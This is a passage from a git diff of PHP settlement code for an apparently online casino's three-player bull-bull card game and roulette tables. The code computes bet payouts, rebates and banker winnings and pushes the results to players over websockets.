Bet::getByNumberTabIdValid($numberTabInfo['id']); + } + foreach($betInfo AS $v){ + $userInfo = User::get(intval($v['user_id'])); + if (!$userInfo){ + continue; + } + $amount = $v['amount_player_1'] + + $v['amount_player_1_times'] + + $v['amount_player_1_banker'] + + $v['amount_player_1_banker_times'] + + $v['amount_player_2'] + + $v['amount_player_2_times'] + + $v['amount_player_2_banker'] + + $v['amount_player_2_banker_times'] + + $v['amount_player_3'] + + $v['amount_player_3_times'] + + $v['amount_player_3_banker'] + + $v['amount_player_3_banker_times']; + $withholdAmount = $v['withhold_player_1_times'] + + $v['withhold_player_1_banker_times'] + + $v['withhold_player_2_times'] + + $v['withhold_player_2_banker_times'] + + $v['withhold_player_3_times'] + + $v['withhold_player_3_banker_times']; + $winTotal = 0; + $winTotalActual = 0; + $timesPlayer1 = 1; + $timesPlayer2 = 1; + $timesPlayer3 = 1; + $rebate = 0; + // 双边洗码 (庄正闲负绝对值) + $rebatePlayer1 = 0; + $rebatePlayer2 = 0; + $rebatePlayer3 = 0; + //闲1 + if($data['win_player_1'] == 1){ + if($v['amount_player_1'] > 0){ + $winTotal += round($v['amount_player_1'] * $userInfo['price_n0_n6'],2); + $winTotalActual += round($v['amount_player_1'] * 1,2); + $rebatePlayer1 -= $v['amount_player_1']; + } + if($v['amount_player_1_times'] > 0){ + if(0 <= $data['result_player_1'] && $data['result_player_1'] < 7){ + $winTotal += round($v['amount_player_1_times'] * $userInfo['price_n0_n6'],2); + $winTotalActual += round($v['amount_player_1_times'] * 1,2); + }elseif(7 <= $data['result_player_1'] && $data['result_player_1'] <= 9){ + $winTotal += round($v['amount_player_1_times'] * $userInfo['price_n7_n9'],2) ; + $winTotalActual += round($v['amount_player_1_times'] * 2,2); + $timesPlayer1 = $userInfo['price_n7_n9']; + }elseif($data['result_player_1'] == 10){ + $winTotal += round($v['amount_player_1_times'] * $userInfo['price_nn'],2); + $winTotalActual += round($v['amount_player_1_times'] * 3,2); + $timesPlayer1 = $userInfo['price_nn']; + }elseif($data['result_player_1'] == 11){ + $winTotal += round($v['amount_player_1_times'] * $userInfo['price_5n'],2); + $winTotalActual += round($v['amount_player_1_times'] * 5,2); + $timesPlayer1 = $userInfo['price_5n']; + } + $rebatePlayer1 -= $v['amount_player_1_times']; + } + if($v['amount_player_1_banker'] > 0){ + $winTotal -= $v['amount_player_1_banker']; + $winTotalActual -= $v['amount_player_1_banker']; + $rebate += $v['amount_player_1_banker']; + $rebatePlayer1 += $v['amount_player_1_banker']; + } + if($v['amount_player_1_banker_times'] > 0){ + if(0 <= $data['result_player_1'] && $data['result_player_1'] < 7){ + $winTotal -= $v['amount_player_1_banker_times']; + $rebate += $v['amount_player_1_banker_times']; + $rebatePlayer1 += $v['amount_player_1_banker_times']; + }elseif(7 <= $data['result_player_1'] && $data['result_player_1'] <= 9){ + $winTotal -= round($v['amount_player_1_banker_times'] * 2,2); + $rebate += round($v['amount_player_1_banker_times'] * 2); + $rebatePlayer1 += round($v['amount_player_1_banker_times'] * 2); + }elseif($data['result_player_1'] == 10){ + $winTotal -= round($v['amount_player_1_banker_times'] * 3,2); + $rebate += round($v['amount_player_1_banker_times'] * 3); + $rebatePlayer1 += round($v['amount_player_1_banker_times'] * 3); + }elseif($data['result_player_1'] == 11){ + $winTotal -= round($v['amount_player_1_banker_times'] * 5,2); + $rebate += round($v['amount_player_1_banker_times'] * 5); + $rebatePlayer1 += round($v['amount_player_1_banker_times'] * 5); + } + } + }elseif($data['win_player_1'] == 0){ + if($v['amount_player_1_banker'] > 0){ + $winTotal += round($v['amount_player_1_banker'] * $userInfo['price_n0_n6'],2) ; + $rebatePlayer1 += $v['amount_player_1_banker']; + } + if($v['amount_player_1_banker_times'] > 0){ + if(0 <= $data['result_banker'] && $data['result_banker'] < 7){ + $winTotal += round($v['amount_player_1_banker_times'] * $userInfo['price_n0_n6'],2); + }elseif(7 <= $data['result_banker'] && $data['result_banker'] <= 9){ + $winTotal += round($v['amount_player_1_banker_times'] * $userInfo['price_n7_n9'],2); + $timesPlayer1 = $userInfo['price_n7_n9']; + }elseif($data['result_banker'] == 10){ + $winTotal += round($v['amount_player_1_banker_times'] * $userInfo['price_nn'],2); + $timesPlayer1 = $userInfo['price_nn']; + }elseif($data['result_banker'] == 11){ + $winTotal += round($v['amount_player_1_banker_times'] * $userInfo['price_5n'],2); + $timesPlayer1 = $userInfo['price_5n']; + } + $rebatePlayer1 += $v['amount_player_1_banker_times']; + } + if($v['amount_player_1'] > 0){ + $winTotal -= $v['amount_player_1']; + $rebate += $v['amount_player_1']; + $rebatePlayer1 -= $v['amount_player_1']; + } + if($v['amount_player_1_times'] > 0){ + if(0 <= $data['result_banker'] && $data['result_banker'] < 7){ + $winTotal -= $v['amount_player_1_times']; + $rebate += $v['amount_player_1_times']; + $rebatePlayer1 -= $v['amount_player_1_times']; + }elseif(7 <= $data['result_banker'] && $data['result_banker'] <= 9){ + $winTotal -= $v['amount_player_1_times'] * 2; + $winTotalActual -= $v['amount_player_1_times'] * 2; + $rebate += $v['amount_player_1_times'] * 2; + $rebatePlayer1 -= $v['amount_player_1_times'] * 2; + }elseif($data['result_banker'] == 10){ + $winTotal -= $v['amount_player_1_times'] * 3; + $winTotalActual -= $v['amount_player_1_times'] * 3; + $rebate += $v['amount_player_1_times'] * 3; + $rebatePlayer1 -= $v['amount_player_1_times'] * 3; + }elseif($data['result_banker'] == 11){ + $winTotal -= $v['amount_player_1_times'] * 5; + $winTotalActual -= $v['amount_player_1_times'] * 5; + $rebate += $v['amount_player_1_times'] * 5; + $rebatePlayer1 -= $v['amount_player_1_times'] * 5; + } + } + } + //闲2 + if($data['win_player_2'] == 1){ + if($v['amount_player_2'] > 0){ + $winTotal += round($v['amount_player_2'] * $userInfo['price_n0_n6'],2); + $winTotalActual += round($v['amount_player_2'] * 1,2); + $rebatePlayer2 -= $v['amount_player_2']; + } + if($v['amount_player_2_times'] > 0){ + if(0 <= $data['result_player_2'] && $data['result_player_2'] < 7){ + $winTotal += round($v['amount_player_2_times'] * $userInfo['price_n0_n6'],2); + $winTotalActual += round($v['amount_player_2_times'] * 1,2); + }elseif(7 <= $data['result_player_2'] && $data['result_player_2'] <= 9){ + $winTotal += round($v['amount_player_2_times'] * $userInfo['price_n7_n9'],2) ; + $winTotalActual += round($v['amount_player_2_times'] * 2,2); + $timesPlayer2 = $userInfo['price_n7_n9']; + }elseif($data['result_player_2'] == 10){ + $winTotal += round($v['amount_player_2_times'] * $userInfo['price_nn'],2); + $winTotalActual += round($v['amount_player_2_times'] * 3,2); + $timesPlayer2 = $userInfo['price_nn']; + }elseif($data['result_player_2'] == 11){ + $winTotal += round($v['amount_player_2_times'] * $userInfo['price_5n'],2); + $winTotalActual += round($v['amount_player_2_times'] * 5,2); + $timesPlayer2 = $userInfo['price_5n']; + } + $rebatePlayer2 -= $v['amount_player_2_times']; + } + if($v['amount_player_2_banker'] > 0){ + $winTotal -= $v['amount_player_2_banker']; + $winTotalActual -= $v['amount_player_2_banker']; + $rebate += $v['amount_player_2_banker']; + $rebatePlayer2 += $v['amount_player_2_banker']; + } + if($v['amount_player_2_banker_times'] > 0){ + if(0 <= $data['result_player_2'] && $data['result_player_2'] < 7){ + $winTotal -= $v['amount_player_2_banker_times']; + $rebate += $v['amount_player_2_banker_times']; + $rebatePlayer2 += $v['amount_player_2_banker_times']; + }elseif(7 <= $data['result_player_2'] && $data['result_player_2'] <= 9){ + $winTotal -= round($v['amount_player_2_banker_times'] * 2,2); + $rebate += round($v['amount_player_2_banker_times'] * 2); + $rebatePlayer2 += round($v['amount_player_2_banker_times'] * 2); + }elseif($data['result_player_2'] == 10){ + $winTotal -= round($v['amount_player_2_banker_times'] * 3,2); + $rebate += round($v['amount_player_2_banker_times'] * 3); + $rebatePlayer2 += round($v['amount_player_2_banker_times'] * 3); + }elseif($data['result_player_2'] == 11){ + $winTotal -= round($v['amount_player_2_banker_times'] * 5,2); + $rebate += round($v['amount_player_2_banker_times'] * 5); + $rebatePlayer2 += round($v['amount_player_2_banker_times'] * 5); + } + } + }elseif($data['win_player_2'] == 0){ + if($v['amount_player_2_banker'] > 0){ + $winTotal += round($v['amount_player_2_banker'] * $userInfo['price_n0_n6'],2) ; + $rebatePlayer2 += $v['amount_player_2_banker']; + } + if($v['amount_player_2_banker_times'] > 0){ + if(0 <= $data['result_banker'] && $data['result_banker'] < 7){ + $winTotal += round($v['amount_player_2_banker_times'] * $userInfo['price_n0_n6'],2); + }elseif(7 <= $data['result_banker'] && $data['result_banker'] <= 9){ + $winTotal += round($v['amount_player_2_banker_times'] * $userInfo['price_n7_n9'],2); + $timesPlayer2 = $userInfo['price_n7_n9']; + }elseif($data['result_banker'] == 10){ + $winTotal += round($v['amount_player_2_banker_times'] * $userInfo['price_nn'],2); + $timesPlayer2 = $userInfo['price_nn']; + }elseif($data['result_banker'] == 11){ + $winTotal += round($v['amount_player_2_banker_times'] * $userInfo['price_5n'],2); + $timesPlayer2 = $userInfo['price_5n']; + } + $rebatePlayer2 += $v['amount_player_2_banker_times']; + } + if($v['amount_player_2'] > 0){ + $winTotal -= $v['amount_player_2']; + $rebate += $v['amount_player_2']; + $rebatePlayer2 -= $v['amount_player_2']; + } + if($v['amount_player_2_times'] > 0){ + if(0 <= $data['result_banker'] && $data['result_banker'] < 7){ + $winTotal -= $v['amount_player_2_times']; + $rebate += $v['amount_player_2_times']; + $rebatePlayer2 -= $v['amount_player_2_times']; + }elseif(7 <= $data['result_banker'] && $data['result_banker'] <= 9){ + $winTotal -= $v['amount_player_2_times'] * 2; + $winTotalActual -= $v['amount_player_2_times'] * 2; + $rebate += $v['amount_player_2_times'] * 2; + $rebatePlayer2 -= $v['amount_player_2_times'] * 2; + }elseif($data['result_banker'] == 10){ + $winTotal -= $v['amount_player_2_times'] * 3; + $winTotalActual -= $v['amount_player_2_times'] * 3; + $rebate += $v['amount_player_2_times'] * 3; + $rebatePlayer2 -= $v['amount_player_2_times'] * 3; + }elseif($data['result_banker'] == 11){ + $winTotal -= $v['amount_player_2_times'] * 5; + $winTotalActual -= $v['amount_player_2_times'] * 5; + $rebate += $v['amount_player_2_times'] * 5; + $rebatePlayer2 -= $v['amount_player_2_times'] * 5; + } + } + } + //闲3 + if($data['win_player_3'] == 1){ + if($v['amount_player_3'] > 0){ + $winTotal += round($v['amount_player_3'] * $userInfo['price_n0_n6'],2); + $winTotalActual += round($v['amount_player_3'] * 1,2); + $rebatePlayer3 -= $v['amount_player_3']; + } + if($v['amount_player_3_times'] > 0){ + if(0 <= $data['result_player_3'] && $data['result_player_3'] < 7){ + $winTotal += round($v['amount_player_3_times'] * $userInfo['price_n0_n6'],2); + $winTotalActual += round($v['amount_player_3_times'] * 1,2); + }elseif(7 <= $data['result_player_3'] && $data['result_player_3'] <= 9){ + $winTotal += round($v['amount_player_3_times'] * $userInfo['price_n7_n9'],2) ; + $winTotalActual += round($v['amount_player_3_times'] * 2,2); + $timesPlayer3 = $userInfo['price_n7_n9']; + }elseif($data['result_player_3'] == 10){ + $winTotal += round($v['amount_player_3_times'] * $userInfo['price_nn'],2); + $winTotalActual += round($v['amount_player_3_times'] * 3,2); + $timesPlayer3 = $userInfo['price_nn']; + }elseif($data['result_player_3'] == 11){ + $winTotal += round($v['amount_player_3_times'] * $userInfo['price_5n'],2); + $winTotalActual += round($v['amount_player_3_times'] * 5,2); + $timesPlayer3 = $userInfo['price_5n']; + } + $rebatePlayer3 -= $v['amount_player_3_times']; + } + if($v['amount_player_3_banker'] > 0){ + $winTotal -= $v['amount_player_3_banker']; + $winTotalActual -= $v['amount_player_3_banker']; + $rebate += $v['amount_player_3_banker']; + $rebatePlayer3 += $v['amount_player_3_banker']; + } + if($v['amount_player_3_banker_times'] > 0){ + if(0 <= $data['result_player_3'] && $data['result_player_3'] < 7){ + $winTotal -= $v['amount_player_3_banker_times']; + $rebate += $v['amount_player_3_banker_times']; + $rebatePlayer3 += $v['amount_player_3_banker_times']; + }elseif(7 <= $data['result_player_3'] && $data['result_player_3'] <= 9){ + $winTotal -= round($v['amount_player_3_banker_times'] * 2,2); + $rebate += round($v['amount_player_3_banker_times'] * 2); + $rebatePlayer3 += round($v['amount_player_3_banker_times'] * 2); + }elseif($data['result_player_3'] == 10){ + $winTotal -= round($v['amount_player_3_banker_times'] * 3,2); + $rebate += round($v['amount_player_3_banker_times'] * 3); + $rebatePlayer3 += round($v['amount_player_3_banker_times'] * 3); + }elseif($data['result_player_3'] == 11){ + $winTotal -= round($v['amount_player_3_banker_times'] * 5,2); + $rebate += round($v['amount_player_3_banker_times'] * 5); + $rebatePlayer3 += round($v['amount_player_3_banker_times'] * 5); + } + } + + }elseif($data['win_player_3'] == 0){ + if($v['amount_player_3_banker'] > 0){ + $winTotal += round($v['amount_player_3_banker'] * $userInfo['price_n0_n6'],2) ; + $rebatePlayer3 += $v['amount_player_3_banker']; + } + if($v['amount_player_3_banker_times'] > 0){ + if(0 <= $data['result_banker'] && $data['result_banker'] < 7){ + $winTotal += round($v['amount_player_3_banker_times'] * $userInfo['price_n0_n6'],2); + }elseif(7 <= $data['result_banker'] && $data['result_banker'] <= 9){ + $winTotal += round($v['amount_player_3_banker_times'] * $userInfo['price_n7_n9'],2); + $timesPlayer3 = $userInfo['price_n7_n9']; + }elseif($data['result_banker'] == 10){ + $winTotal += round($v['amount_player_3_banker_times'] * $userInfo['price_nn'],2); + $timesPlayer3 = $userInfo['price_nn']; + }elseif($data['result_banker'] == 11){ + $winTotal += round($v['amount_player_3_banker_times'] * $userInfo['price_5n'],2); + $timesPlayer3 = $userInfo['price_5n']; + } + $rebatePlayer3 += $v['amount_player_3_banker_times']; + } + if($v['amount_player_3'] > 0){ + $winTotal -= $v['amount_player_3']; + $rebate += $v['amount_player_3']; + $rebatePlayer3 -= $v['amount_player_3']; + } + if($v['amount_player_3_times'] > 0){ + if(0 <= $data['result_banker'] && $data['result_banker'] < 7){ + $winTotal -= $v['amount_player_3_times']; + $rebate += $v['amount_player_3_times']; + $rebatePlayer3 -= $v['amount_player_3_times']; + }elseif(7 <= $data['result_banker'] && $data['result_banker'] <= 9){ + $winTotal -= $v['amount_player_3_times'] * 2; + $winTotalActual -= $v['amount_player_3_times'] * 2; + $rebate += $v['amount_player_3_times'] * 2; + $rebatePlayer3 -= $v['amount_player_3_times'] * 2; + }elseif($data['result_banker'] == 10){ + $winTotal -= $v['amount_player_3_times'] * 3; + $winTotalActual -= $v['amount_player_3_times'] * 3; + $rebate += $v['amount_player_3_times'] * 3; + $rebatePlayer3 -= $v['amount_player_3_times'] * 3; + }elseif($data['result_banker'] == 11){ + $winTotal -= $v['amount_player_3_times'] * 5; + $winTotalActual -= $v['amount_player_3_times'] * 5; + $rebate += $v['amount_player_3_times'] * 5; + $rebatePlayer3 -= $v['amount_player_3_times'] * 5; + } + } + } + + // 双边洗码 + if($userInfo['type_xima'] == 1){ + $rebate = abs($rebatePlayer1) + abs($rebatePlayer2) + abs($rebatePlayer3); + } + + //计算庄家输赢 + if($numberTabInfo['rob_banker_username']){ + if($userInfo['is_sw'] == 0){ + $bankerWinTotal = $winTotalActual + $bankerWinTotal; + } + } + $v['position_first'] = $numberTabInfo['position_first']; + $betInfoItem = array_merge($v,$data); + $betInfoItem['times_player_1'] = $timesPlayer1; + $betInfoItem['times_player_2'] = $timesPlayer2; + $betInfoItem['times_player_3'] = $timesPlayer3; + $res = Bet::openingBet($tableInfo,$betInfoItem,$userInfo,$numberTabInfo,$amount,$winTotal,$rebate,$withholdAmount); + if ($res['status']){ + $tableUser = app('swoole.table.user'); + $userSession = $tableUser->get((string) $v['user_id']); + if ($userSession && is_array($userSession)){ + $ws->setSender(0)->to($userSession['fd'])->emit('opening',[ + 'status' => true, + 'table_id' => $tableInfo['id'], + 'round' => [ + 'money' => $res['money'], + 'win_total' => $winTotal, + 'previous_number_tab_id' => $v['number_tab_id'] + ] + ]); + } + } + } + + /** + * 计算抢庄 + */ + if($numberTabInfo['rob_banker_id'] > 0){ + $userInfo = User::get(intval($numberTabInfo['rob_banker_id'])); + //更新user表余额 + $winTotal = to_number($bankerWinTotal); + if($winTotal > 0){ + $winTotal = $winTotal * 0.94; + } + $amount = 0; + $rebate = abs($bankerWinTotal); + $bankerBetInfo = array_merge($bankerBetInfo,$data); + $res = Bet::openingBet($tableInfo,$bankerBetInfo,$userInfo,$numberTabInfo,$amount,$winTotal,$rebate); + if ($res['status']){ + $tableUser = app('swoole.table.user'); + $userSession = $tableUser->get((string) $userInfo['id']); + if ($userSession && is_array($userSession)){ + $ws->setSender(0)->to($userSession['fd'])->emit('opening',[ + 'status' => true, + 'table_id' => $tableInfo['id'], + 'round' => [ + 'money' => $res['money'], + 'previous_number_tab_id' => $bankerBetInfo['number_tab_id'] + ] + ]); + } + } + } + } +} \ No newline at end of file diff --git a/app/services/opening/OpeningRouletteService.php b/app/services/opening/OpeningRouletteService.php new file mode 100644 index 0000000..8096ca4 --- /dev/null +++ b/app/services/opening/OpeningRouletteService.php @@ -0,0 +1,199 @@ +emit('openingRoulette',['status' => false,'table_id' => $tableInfo['id'], 'msg' => $res['msg']]); + return; + } + list($result,$resultParse,$lastNumberTabInfo,$newNumberTabInfo) = $res['data']; + $round = array( + 'result' => $result, + 'result_parse' => $resultParse, + 'boot_id' => $newNumberTabInfo['boot_id'], + 'boot_num' => $newNumberTabInfo['boot_num'], + 'number_tab_id' => $newNumberTabInfo['id'], + 'previous_number_tab_id' => $lastNumberTabInfo['id'], + 'number_tab_number' => $newNumberTabInfo['number'], + 'number_tab_status' => InitTableService::numberTabStatus($newNumberTabInfo) + ); + $ws->emit('openingRoulette',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $round]); + $ws->to(SocketSession::HOUSE_NAME)->emit('openingRouletteResult',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $round]); + //处理注单 + self::doBet($ws,$tableInfo,$lastNumberTabInfo,$result,$resultParse); + } + + /** + * TODO 判断结果 + * @param array $event + * @param array $tableInfo + * @return array + */ + public static function doOpening(array $event, array $tableInfo): array + { + if (!isset($event['number_tab_id'])) return ['status' => false, 'msg' => 'opening_fail_2']; + $numberTabId = intval($event['number_tab_id']); + $numberTabInfo = NumberTab::getByTableIdOrderByIdDesc($tableInfo); + if (!$numberTabInfo || $numberTabId != $numberTabInfo['id']) return ['status' => false, 'msg' => 'opening_fail_2']; + if ($numberTabInfo['bet_status'] != 2) return ['status' => false, 'msg' => 'opening_fail_4']; + $result = intval($event['result']); + if ($result < 0 || $result > 36) return ['status' => false, 'msg' => 'opening_fail']; + $boot = Boot::where(['id' => $numberTabInfo['boot_id']])->find(); + $afterCountArray = RouletteUtil::parseCount($result); + $beforeCountString = $boot['roulette_count']; + $beforeCountArray = string_to_array($beforeCountString); + $countArray = RouletteUtil::countInc($beforeCountArray, $afterCountArray); + $countString = array_to_string($countArray); + $numberTabInfo['roulette_count'] = $countString; + $resultParse = RouletteUtil::parseResult($result); + $numberTabUpdate = ['roulette_result' => $result, 'end_time' => time(), 'bet_status' => 3]; + $newNumberTabInfo = NumberTab::next($numberTabInfo,$numberTabUpdate,$tableInfo); + if ($newNumberTabInfo){ + $lastNumberTabInfo = array_merge($numberTabInfo,$numberTabUpdate); + return ['status' => true, 'data' => [$result,$resultParse,$lastNumberTabInfo,$newNumberTabInfo]]; + }else{ + return ['status' => false, 'msg' => 'opening_fail']; + } + } + + /** + * TODO Bet处理 + * @param Websocket $ws 桌子信息 + * @param array $tableInfo 桌子信息 + * @param array $numberTabInfo 开结果的当前局信息 + * @return void + */ + public static function doBet(Websocket $ws, array $tableInfo, array $numberTabInfo, int $result, array $resultParse){ + $betArray = Bet::getByNumberTabIdValid($numberTabInfo['id']); + foreach ($betArray AS $v){ + $userInfo = User::get(intval($v['user_id'])); + if (!$userInfo) continue; + if (empty($v['roulette_european_amount']) && empty($v['roulette_french_amount'])) continue; + $priceArray = string_to_array($userInfo['price_roulette']); + + $amount = 0; + $winMoney = 0; + $roulette_amount = $v['roulette_european_amount'] ? $v['roulette_european_amount'] : $v['roulette_french_amount']; + $amountArray = string_to_array($roulette_amount); + foreach ($amountArray as $key => $value){ + $amount += intval($value); + + if(in_array($key, ['zeroGame','neighborsOfZero','orphans','theThird'])){ + if($key == 'zeroGame'){ + $split_value = $value / 4; + if($result == 26){ + $winMoney = round($split_value * (1 + $priceArray['straight']),2) + $winMoney; + } + if(in_array($result,[0,3,12,15,32,35])){ + $winMoney = round($split_value * (1 + $priceArray['split']),2) + $winMoney; + } + } + if($key == 'neighborsOfZero'){ + $split_value = $value / 9; + if(in_array($result,[4,7,12,15,18,21,19,22,32,35])){ + $winMoney = round($split_value * (1 + $priceArray['split']),2) + $winMoney; + } + if(in_array($result,[0,2,3])){ + $winMoney = round($split_value * 2 * (1 + $priceArray['triple']),2) + $winMoney; + } + if(in_array($result,[25,26,28,29])){ + $winMoney = round($split_value * 2 * (1 + $priceArray['corner']),2) + $winMoney; + } + } + + if($key == 'orphans'){ + $split_value = $value / 5; + if($result == 1){ + $winMoney = round($split_value * (1 + $priceArray['straight']),2) + $winMoney; + } + if(in_array($result,[6,9,14,17,20,31,34])){ + if($result == 17){ + $winMoney = round($split_value * 2 * (1 + $priceArray['split']),2) + $winMoney; + }else{ + $winMoney = round($split_value * (1 + $priceArray['split']),2) + $winMoney; + } + } + } + if($key == 'theThird'){ + $split_value = $value / 6; + if(in_array($result,[5,8,10,11,13,16,23,24,27,30,33,36])){ + $winMoney = round($split_value * (1 + $priceArray['split']),2) + $winMoney; + } + } + } else { + if(in_array($key,['low','high','odd','even','red','black','column_1','column_2','column_3','dozen_1','dozen_2','dozen_3'])){ + if (in_array($key, $resultParse)){ + if(in_array($key,['low','high','odd','even','red','black'])){ + $winMoney = round($value * (1 + $priceArray[$key]),2) + $winMoney; + }else{ + $keyArray = explode("_", $key); + $winMoney = round($value * (1 + $priceArray[$keyArray[0]]),2) + $winMoney; + } + + } + }else{ + $keyArray = explode("_", $key); + if($keyArray[0] == 'straight') { + if ($keyArray[1] == $result) { + $winMoney = round($value * (1 + $priceArray[$keyArray[0]]),2) + $winMoney; + } + }else{ + $betZoneArr = explode("-", $keyArray[1]); + if(in_array($result,$betZoneArr)){ + $winMoney = round($value * (1 + $priceArray[$keyArray[0]]),2) + $winMoney; + } + } + } + } + + } + $winTotal = $winMoney - $amount; + /** + * Model处理 + * @param array $tableInfo 桌子信息 + * @param array $betInfo bet信息 + * @param array $userInfo bet用户信息 + * @param array $numberTabInfo 局信息 + * @param float $amount 下注总数 + * @param float $winTotal 赢金额 + * @param float $ximaliang 洗码量 + */ + $res = Bet::openingBet($tableInfo,$v,$userInfo,$numberTabInfo,$amount,$winTotal,0); + if ($res['status']){ + $tableUser = app('swoole.table.user'); + $userSession = $tableUser->get((string) $v['user_id']); + if ($userSession && is_array($userSession)){ + $ws->setSender(0)->to($userSession['fd'])->emit('opening',['status' => true, 'table_id' => $tableInfo['id'], 'round' => ['money' => $res['money'], 'win_total' => $winTotal, 'previous_number_tab_id' => $v['number_tab_id']]]); + } + } + } + } +} \ No newline at end of file diff --git a/app/services/opening/OpeningTcService.php b/app/services/opening/OpeningTcService.php new file mode 100644 index 0000000..536b5e7 --- /dev/null +++ b/app/services/opening/OpeningTcService.php @@ -0,0 +1,676 @@ +emit('openingTc',['status' => false, 'msg' => $res['msg']]); + return; + } + list($data,$lastNumberTabInfo,$newNumberTabInfo) = $res['data']; + $round = [ + 'boot_id' => $newNumberTabInfo['boot_id'], + 'boot_num' => $newNumberTabInfo['boot_num'], + 'number_tab_id' => $newNumberTabInfo['id'], + 'previous_number_tab_id' => $lastNumberTabInfo['id'], + 'number_tab_number' => $newNumberTabInfo['number'] + 1, + 'number_tab_status' => InitTableService::numberTabStatus($newNumberTabInfo) + ]; + $round = array_merge($round,$data); + $ws->emit('openingTc',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $round]); + $ws->to(SocketSession::HOUSE_NAME)->emit('openingTcResult',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $round]); + //处理注单 + self::doBet($ws,$tableInfo,$lastNumberTabInfo,$data); + } + + /** + * TODO 判断结果 + * @param array $event + * @param array $tableInfo + * @return array + */ + public static function doOpening(array $event, array $tableInfo): array + { + if (!isset($event['number_tab_id'])) return ['status' => false, 'msg' => 'opening_fail_2']; + $numberTabId = intval($event['number_tab_id']); + $numberTabInfo = NumberTab::getByTableIdOrderByIdDesc($tableInfo); + if (!$numberTabInfo || $numberTabId != $numberTabInfo['id']) return ['status' => false, 'msg' => 'opening_fail_2']; + if ($numberTabInfo['bet_status'] != 2) return ['status' => false, 'msg' => 'opening_fail_4']; + //TC只有扫描台,不是扫描台返回false + if ($tableInfo['is_scavenging'] != 1) return ['status' => false, 'msg' => 'opening_fail']; + $cardInfo = RedisUtil::getCard($numberTabId); + if (!$cardInfo) return ['status' => false, 'msg' => 'opening_fail_6']; + // 判断是否所有的牌都已经扫描 + foreach ($cardInfo AS $v){ + if ($v == 0){ + return ['status' => false, 'msg' => 'opening_fail_6']; + } + } + // 比较结果 + $player1Card[0] = $cardInfo['player_1_card_1']; + $player1Card[1] = $cardInfo['player_1_card_2']; + $player1Card[2] = $cardInfo['player_1_card_3']; + $player2Card[0] = $cardInfo['player_2_card_1']; + $player2Card[1] = $cardInfo['player_2_card_2']; + $player2Card[2] = $cardInfo['player_2_card_3']; + $player3Card[0] = $cardInfo['player_3_card_1']; + $player3Card[1] = $cardInfo['player_3_card_2']; + $player3Card[2] = $cardInfo['player_3_card_3']; + $bankerCard[0] = $cardInfo['banker_card_1']; + $bankerCard[1] = $cardInfo['banker_card_2']; + $bankerCard[2] = $cardInfo['banker_card_3']; + $player1Result = CardPositionTc::ThredCardCowCow($player1Card); + $player2Result = CardPositionTc::ThredCardCowCow($player2Card); + $player3Result = CardPositionTc::ThredCardCowCow($player3Card); + $bankerResult = CardPositionTc::ThredCardCowCow($bankerCard); + + $data = []; + $data['result_player_1'] = $player1Result['cow']; + $data['result_player_2'] = $player2Result['cow']; + $data['result_player_3'] = $player3Result['cow']; + $data['result_banker'] = $bankerResult['cow']; + if($data['result_player_1'] > $data['result_banker']){ + $data['win_player_1'] = 1; + }else if($data['result_player_1'] < $data['result_banker']){ + $data['win_player_1'] = 0; + }else if($data['result_player_1'] == $data['result_banker']){ + $data['win_player_1'] = CardPositionTc::compareCardTc($player1Result['max'], $bankerResult['max'],$data['result_player_1']); + } + if($data['result_player_2'] > $data['result_banker']){ + $data['win_player_2'] = 1; + }else if($data['result_player_2'] < $data['result_banker']){ + $data['win_player_2'] = 0; + }else if($data['result_player_2'] == $data['result_banker']){ + $data['win_player_2'] = CardPositionTc::compareCardTc($player2Result['max'], $bankerResult['max'],$data['result_player_2']); + } + + if($data['result_player_3'] > $data['result_banker']){ + $data['win_player_3'] = 1; + }else if($data['result_player_3'] < $data['result_banker']){ + $data['win_player_3'] = 0; + }else if($data['result_player_3'] == $data['result_banker']){ + $data['win_player_3'] = CardPositionTc::compareCardTc($player3Result['max'], $bankerResult['max'],$data['result_player_3']); + } + //开盘 + $numberTabUpdate = [ + 'result_player_1' => $data['result_player_1'], + 'result_player_2' => $data['result_player_2'], + 'result_player_3' => $data['result_player_3'], + 'result_banker' => $data['result_banker'], + 'win_player_1' => $data['win_player_1'], + 'win_player_2' => $data['win_player_2'], + 'win_player_3' => $data['win_player_3'], + 'end_time' => time(), + 'bet_status' => 3, + ]; + $newNumberTabInfo = NumberTab::next($numberTabInfo,$numberTabUpdate,$tableInfo); + if ($newNumberTabInfo){ + $lastNumberTabInfo = array_merge($numberTabInfo,$numberTabUpdate); + return ['status' => true, 'data' => [$data,$lastNumberTabInfo,$newNumberTabInfo]]; + }else{ + return ['status' => false, 'msg' => 'opening_fail']; + } + } + /** + * TODO Bet处理 + * @param Websocket $ws 桌子信息 + * @param array $tableInfo 桌子信息 + * @param array $numberTabInfo 开结果的当前局信息 + * @param array $data 输赢数据 + * @return void + */ + public static function doBet(Websocket $ws, array $tableInfo, array $numberTabInfo, array $data){ + $bankerWinTotal = 0; + if($numberTabInfo['rob_banker_id'] > 0 ){ + $betInfo = Bet::getByNumberTabIdNotRob($numberTabInfo['id'],$numberTabInfo['rob_banker_id']); + $bankerBetInfo = Bet::getByNumberTabIdRob($numberTabInfo['id'],$numberTabInfo['rob_banker_id']); + }else{ + $betInfo = Bet::getByNumberTabIdValid($numberTabInfo['id']); + } + foreach($betInfo AS $v){ + $userInfo = User::get(intval($v['user_id'])); + if (!$userInfo){ + continue; + } + $amount = $v['amount_player_1'] + + $v['amount_player_1_times'] + + $v['amount_player_1_banker'] + + $v['amount_player_1_banker_times'] + + $v['amount_player_2'] + + $v['amount_player_2_times'] + + $v['amount_player_2_banker'] + + $v['amount_player_2_banker_times'] + + $v['amount_player_3'] + + $v['amount_player_3_times'] + + $v['amount_player_3_banker'] + + $v['amount_player_3_banker_times']; + $withholdAmount = $v['withhold_player_1_times'] + + $v['withhold_player_1_banker_times'] + + $v['withhold_player_2_times'] + + $v['withhold_player_2_banker_times'] + + $v['withhold_player_3_times'] + + $v['withhold_player_3_banker_times']; + $newAmount = 0; + $winTotal = 0; + $winTotalActual = 0; + $timesPlayer1 = 1; + $timesPlayer2 = 1; + $timesPlayer3 = 1; + $rebate = 0; + // 双边洗码 (对冲 庄正闲负绝对值) + $rebatePlayer1 = 0; + $rebatePlayer2 = 0; + $rebatePlayer3 = 0; + + //闲1 + if($data['win_player_1'] == 1){ + if($v['amount_player_1'] > 0){ + $times = CardPositionTc::getTimes(1); + $winTotal += round($v['amount_player_1'] * $userInfo['price_tc_n1'],2); + $winTotalActual += round($v['amount_player_1'] * $times,2); + 